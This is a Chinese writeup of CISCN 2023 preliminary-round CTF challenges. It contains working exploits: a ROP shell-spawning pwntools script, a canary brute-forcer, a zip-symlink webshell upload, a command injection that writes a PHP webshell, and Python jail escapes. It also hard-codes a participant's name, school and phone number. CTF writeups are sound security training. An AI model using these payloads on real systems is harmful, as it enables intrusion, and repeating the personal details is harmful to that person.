引言
第十六届全国大学生信息安全竞赛
——创新实践能力赛
http://www.ciscn.cn/competition/securityCompetition?compet_id=38
时光荏苒，又是一年一度的国赛了！
这篇 writeup 是 xdlddw 战队的队友一起写的，非常感谢队友带喵喵进了分区赛！Orz
（转眼已经是第四年打国赛了捏，这回大概率是最后一年打国赛了
感兴趣的话，可以回顾一下往年写的一点 writeup （有的貌似懒得写了
Misc
签到卡
首先试图查看 __builtins__
发现也只能显示一行，试试看 open 能不能用：
确实可以用，接下来猜测 flag 的位置，通常在 /flag，直接构造print(open('/flag').read())，输入打孔卡片得到结果：
（作为一个和 IBM Mainframe 打了三年交道的学生，能用 80 列卡片跑 Python 的 IBM 360 还是头一次见。）
国粹
先观察图像的宽度，发现可以被 53 整除。用 opencv 切割图像，并将 a.png和 k.png中的麻将对应到整数：
按 a.png中的麻将分组，可以观察到每个 a 中的麻将对应的多个 k 中的麻将，且都不重复。考虑到 a 的顺序，疑似是 a 和 k 的二维图像，沿着 a 行扫描，且预估是二维码，故而画出对应的图像：
得到 flag{202305012359}
部分脚本如下：
import cv2 as cv
import matplotlib.pyplot as plt
import numpy as np
import hashlib
H = 73
W = 53
majiang = cv.imread('题目.png')
print(majiang.shape)
l = [[], []]
for i in range(majiang.shape[0] // H):
for j in range(majiang.shape[1] // W):
x0, x1 = j*W, (j+1)*W
y0, y1 = i*H, (i+1)*H
l[i].append(majiang[y0:y1,x0:x1])
tokens = l[0]
def token2no(t):
for i, im in enumerate(tokens):
f = np.reshape(t == im, (-1))
if False in f:
continue
else:
return i
return None
a = []
a_img = cv.imread('a.png')
print(a_img.shape)
for j in range(a_img.shape[1] // W):
x0, x1 = j*W, (j+1)*W
y0, y1 = 0*H, (0+1)*H
a.append(a_img[y0:y1,x0:x1])
print(len(a))
a_token = []
for ai in a:
a_token.append(token2no(ai))
k = []
k_img = cv.imread('k.png')
print(k_img.shape)
for j in range(k_img.shape[1] // W):
x0, x1 = j*W, (j+1)*W
y0, y1 = 0*H, (0+1)*H
k.append(k_img[y0:y1,x0:x1])
print(len(k))
k_token = []
for ki in k:
k_token.append(token2no(ki))
qrcode = [[0 for i in range(44)] for j in range(44)]
for i,j in res:
qrcode[i][j] = 1
plt.imshow(qrcode)
被加密的生产流量
用 Wireshark 解包，发现工业上常用的 modbus 协议：
只有 fc6 和 fc3 操作，查阅工业标准，发现：
对于 fc3 操作，发现虽然返回的报文中的寄存器数量都是 5 ，但请求的报文中的寄存器数量都大的离谱：
故而将这类包 dump 出来，编写脚本进行处理，将所有的寄存器数量导出，拼接起来：
发现是 base32 编码，解码后即得到 flag{c1f_fi1g_1000}。
（期间有一个小插曲，由于每个 UINT16 可能是大端序或者小端序，所以需要尝试两次）
部分脚本如下：
import json
d = None
with open('pkgs.json', 'r') as f:
d = json.load(f)
l = []
for p in d:
if "modbus.func_code" in p["_source"]["layers"]["modbus"]:
m = p["_source"]["layers"]["modbus"]
if len(m) == 3 and "modbus.word_cnt" in m and m["modbus.func_code"] == '3':
mword = int(m["modbus.word_cnt"])
lo = mword % 256
hi = mword // 256
l.append(hi)
l.append(lo)
l = bytes(l)
from base64 import b32decode
print(b32decode("MMYWMX3GNEYWOXZRGAYDA==="))
pyshell
用 nc 连接服务，发现很多常见的 Python 技巧都无法使用。多次尝试后发现，长度超过 7 的输入都会直接返回 nop，且赋值无法使用。但 eval 可以使用。
这里使用 Python REPL 的特性，下划线表示上一次求值的结果，使用逐个字符拼接的方式将 eval 所需的字符串拼接出来，代码如下：
def accustr(s):
print(f"'{s[0]}'")
for ch in s[1:]:
print(f"_+'{ch}'")
accustr('print(open("/flag").read())')
然后逐行执行，将 _调整为 eval 所需的字符串，随后执行：
eval(_)
恰好 7 个字符，即得到 flag。
Crypto
基于国密SM2算法的密钥密文分发
按照文档说明，使用 pypi 提供的 snowland-smx 和 sm4 进行操作，使用 postman 或 requests 库发送请求。
构造的解题脚本如下：
from pysmx.SM2 import generate_keypair, Decrypt
from sm4 import SM4Key
from base64 import b16decode, b16encode
import json
import requests
baseurl = "http://123.56.116.45:14847"
# Gen A_PK, A_SK
len_para = 64
A_Public_Key, A_Private_Key = generate_keypair(len_para)
print(len(A_Public_Key), b16encode(A_Public_Key))
print(len(A_Private_Key), b16encode(A_Private_Key))
# Login
payload = json.dumps({
"school": "同济大学",
"name": "姜文渊",
"phone": "18262803125"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", baseurl+"/api/login", headers=headers, data=payload)
uid = response.json()['data']['id']
# Get B_PK, B_SK, C
payload = json.dumps({
"id": uid,
"publicKey": b16encode(A_Public_Key).decode()
})
response = requests.request("POST", baseurl+"/api/allkey", headers=headers, data=payload)
B_Public_Key = b16decode(response.json()['data']['publicKey'].upper())
B_Private_Key_encrypted = b16decode(response.json()['data']['privateKey'].upper())
C_encrypted = b16decode(response.json()['data']['randomString'].upper())
# Decrypt C
C_decrypted = Decrypt(C_encrypted, A_Private_Key, 64)
print(len(C_decrypted), b16encode(C_decrypted))
# Decrypt B_SK
sm4ckey = SM4Key(C_decrypted)
B_Private_Key = sm4ckey.decrypt(B_Private_Key_encrypted)
print(len(B_Private_Key), b16encode(B_Private_Key))
# Get Quantum key
payload = json.dumps({
"id": uid
})
response = requests.request("POST", baseurl+"/api/quantum", headers=headers, data=payload)
D_encrpted = b16decode(response.json()['data']['quantumString'].upper())
# Decrypt Quantum key
D_decrypted = Decrypt(D_encrpted, B_Private_Key, 64)
print(len(D_decrypted), b16encode(D_decrypted).decode().lower())
# Check
payload = json.dumps({
"id": uid,
"quantumString": b16encode(D_decrypted).decode().lower()
})
response = requests.request("POST", baseurl+"/api/check", headers=headers, data=payload)
# Get flag
payload = json.dumps({
"id": uid
})
response = requests.request("POST", baseurl+"/api/search", headers=headers, data=payload)
print(response.json()['data']['flag'])
结果如下：
可信度量
题目上线后很快就有上百队做出来，故而考虑有显然的非预期解，首先尝试检查 shell 的环境变量无果，然后检查所有进程的环境变量，发现 flag 就在其中。
Sign_in_passwd
下发的文件中有两行，第一行疑似 base64 编码，第二行疑似 url 编码。
将第二行解码后得到长度恰好为 64 的 base64 码表，送入 cyberchef 中即得到 flag。
bb84
起初看到下发的内容以为非 Windows 平台没法做，但是按照文档思路，执行对应的步骤，即可以进行解密。
值得注意的是，本题中的误码率没有起到很大的作用。
解题脚本如下：
lines = []
with open('info.csv', 'r') as f:
l = f.readline()
while l:
lines.append(l.strip().split(','))
l = f.readline()
for l in lines:
print(l[0], len(l))
epc1 = [int(lines[0][i]) for i in range(1,len(lines[0]))]
apd1 = [int(lines[1][i]) for i in range(1,len(lines[1]))]
apd2 = [int(lines[2][i]) for i in range(1,len(lines[2]))]
apd3 = [int(lines[3][i]) for i in range(1,len(lines[3]))]
apd4 = [int(lines[4][i]) for i in range(1,len(lines[4]))]
measurement = [(epc1[i], apd1[i], apd2[i], apd3[i], apd4[i]) for i in range(len(epc1))]
def getpos(i):
d = {
(1,0,0,0):1,
(0,1,0,0):2,
(0,0,1,0):3,
(0,0,0,1):4,
}
return d[i]
def is_good_measure(m):
return sum(m[1:]) == 1
def is_good_base(m):
k = getpos(m[1:])
if (k in [1, 2]) and (m[0] in [1, 2]):
return True
if (k in [3, 4]) and (m[0] in [3, 4]):
return True
return False
def is_good(m):
return is_good_measure(m) and is_good_base(m)
rawkeyseq = []
for m in measurement:
if is_good(m):
rawkeyseq.append(1 if m[0] % 2 == 0 else 0)
print(len(rawkeyseq))
from base64 import b16encode, b16decode
C = b16decode("D9F7E0F73787BF6C17D1D851221452212E9C952D3CF76FE8B0C70F326C03F5574D88FDE2F67ADDBA6E52")
print(C)
A = 1709
B = 2003
X0 = 17
m = len(rawkeyseq)
def next_lcg(x, a, b, m):
return (a*x + b) % m
keybits = []
xc = X0
for _ in range(len(C)*8):
keybits.append(rawkeyseq[xc])
xc = next_lcg(xc, A, B, m)
print(len(keybits))
key = []
for i in range(len(keybits) // 8):
d = 0
for j in range(8):
d += keybits[i*8 + j] * (1<<(7-j))
key.append(d)
key = bytes(key)
print(len(key))
ans = []
for i in range(len(C)):
ans.append(key[i] ^ C[i])
ans = bytes(ans)
print(ans)
即可得到 flag{b3187851-16ee-4897-b9a4-0cf97fcf6863}
Web
unzip
利用软链接，构造对应的压缩包，实现 /tmp/hacker-> /var/www/html。
ln -s /var/www/html hacker
zip -y hacker.zip hacker
上传 hacker.zip
在 hacker 目录下写入 shell.php，再次压缩
上传 hacker1.zip，此时木马已经写入了网站根目录
访问 hacker.php，实现 rce 读取 flag
dumpit
分析猜测 dump 语句是直接系统命令执行，考虑拼接 shell 命令
使用 -w写入木马，-r指定文件
?db=ctf --tables flag1 -w "<?php system('env') ?>" -r a.php&table_2_dump=
直接访问 a.php 拿 flag
正常来说要提权，但是环境锅了可以直接读环境变量
Pwn
烧烤摊
1、分析源程序，发现通过输入负数可以提升自身的金额
2、承包商铺之后可以在改名的地方可以实现栈溢出
可以使用 ret2syscall，利用 ROPgadgets 来找到相应的寄存器操作，利用 memcpy 在 data 段写入 '/bin/sh'。
逻辑如下：买负数商品 -> 承包烧烤摊 -> 改名 -> ROP攻击
exp 如下：
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
# io = process("./shaokao")
io = remote("123.56.251.120","42077")
delim = b'>'
io.sendlineafter(delim, b'1')
delim = b'\xe6\xb6\xaf\x0a'
io.sendlineafter(delim,b'1')
delim = '？'.encode()
io.sendlineafter(delim,b'-10000')
delim = b'>'
io.sendlineafter(delim,b'4')
delim = b'5'
io.sendlineafter(delim,b'5')
delim = b'\x8d\xef\xbc\x9a\x0a'
pop_rax_ret = 0x0458827
pop_rdi_ret = 0x040264f
pop_rsi_ret = 0x040a67e
pop_rdx_rbx_ret = 0x04a404b
bin_sh_addr = 0x04E60F0
syscall_addr = 0x0402404
payload = b'/bin/sh\x00' + b'a' * (0x20-0x8) + b'a' * 0x08 \
+ p64(pop_rax_ret) + p64(59) \
+ p64(pop_rdi_ret) + p64(bin_sh_addr) \
+ p64(pop_rsi_ret) + p64(0) \
+ p64(pop_rdx_rbx_ret) + p64(0) + p64(0) \
+ p64(syscall_addr)
io.sendlineafter(delim, payload)
io.interactive()
funcanary
def p():
#a = process('./funcanary')
a = remote('39.105.187.49', 13554)
payload = b''
for i in range(8):
for b in range(256):
a.sendafter(b'welcome\n', b'a' * 104 + payload + bytes([b]))
l = a.recvline()
if not b'stack' in l:
payload += bytes([b])
break
for i in range(16):
a.sendafter(b'welcome\n', b'a' * 104 + payload + b'a' * 8 + bytes([0x28, i * 16 + 2]))
a.interactive()
Rev
babyRE
查看 xml 文件，发现是 Berkeley Snap，拖入 Snap 中尝试运行。双击动画播放后的锁图标，可以看到对应的代码块：
分析后可以发现，加密方式是每个字符和前一个字符相 xor，
单步执行，点击 secret 之后可以看到 secret 列表的内容，将 secret 手动输入到 Python 脚本中，并构建解题脚本如下：
secret = [
102, 10, 13, 6, 28, 74,
3, 1, 3, 7, 85, 0,
4, 75, 20, 92, 92, 8,
28, 25, 81, 83, 7, 28,
76, 88, 9, 0, 29, 73,
0, 86, 4, 87, 87, 82,
84, 85, 4, 85, 87, 30]
len(secret)
key = [0]
for i in range(len(secret)):
key.append(key[i] ^ secret[i])
print(bytes(key[1:]))
知识问答
全部在通过认真学习视频获得
2017年6月1日
每年至少一次
2018年
16个国家28次
NSA
酸狐狸
银河一号，1983
76
构建动态异构冗余架构
在数据上的完整性
小结
好卷啊！
今年知识问答的部分改了形式，不过整了个先看视频再答题，终于不是那种政策知识的答题环节了，也不需要整个队伍每个人都做了，改成了整个队伍解题赛里的题目，有人做出来就行了。也算个好事。
不过还是想吐槽一下 i春秋 的比赛题目有点谜语人（
初赛这周末喵喵出去上课和考试了，没能在线下和队友一起看题，还要非常感谢队友的努力，带喵喵进了分区赛 Orz！
华东南分区赛线下见喵~
（可惜又是可恶的 AWDP 坐牢赛制捏
转眼已经是第四年打国赛了捏，这回大概率是喵喵最后一年打国赛了 （终于可以跑路了
如有侵权请联系:admin#unsafe.sh